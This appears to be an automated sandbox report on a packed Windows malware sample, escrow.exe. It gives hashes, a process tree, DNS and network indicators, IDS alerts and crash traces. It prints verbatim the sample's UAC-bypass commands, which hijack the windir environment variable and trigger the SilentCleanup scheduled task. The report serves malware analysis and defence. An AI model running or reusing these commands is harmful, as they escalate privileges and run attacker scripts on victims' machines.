Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 24, 2021, 5:04 p.m.	Sept. 24, 2021, 5:06 p.m.

Size	702.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`4568267da235d998580cfd9d8b828715`
SHA256	`da3b4c6a3fc81e733843987e557efb53beab50fa9ad528aa1a0d7a0f0e1c6e94`
CRC32	`85B43874`
ssdeep	`12288:mftAn+lE3hGAJNmUaxoSThjcymQgMM4PW:4uwEwomU1SFABD`
Yara	UPX_Zero - UPX packed file Admin_Tool_IN_Zero - Admin Tool Sysinternals PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

escrow.exe "C:\Users\test22\AppData\Local\Temp\escrow.exe"
2020
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2164
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    1048
    - reg.exe reg delete hkcu\Environment /v windir /f
      2492
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      752
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2740
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  1436
  - reg.exe reg delete hkcu\Environment /v windir /f
    240

Name	Response	Post-Analysis Lookup
trapboijiggy.dvrlists.com	A 31.3.152.100	31.3.152.100
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13
l5celg.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
31.3.152.100	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49201 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49202 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49200 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49201 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.101:49202 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLS 1.3 192.168.56.101:49213 31.3.152.100:54614	None	None	None
TLS 1.3 192.168.56.101:49212 31.3.152.100:54614	None	None	None
TLSv1 192.168.56.101:49200 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLS 1.3 192.168.56.101:49204 31.3.152.100:54614	None	None	None

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 24, 2021, 5:04 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 24, 2021, 5:04 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more processes crashed (50 out of 124 events)

Time & API	Arguments	Status
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 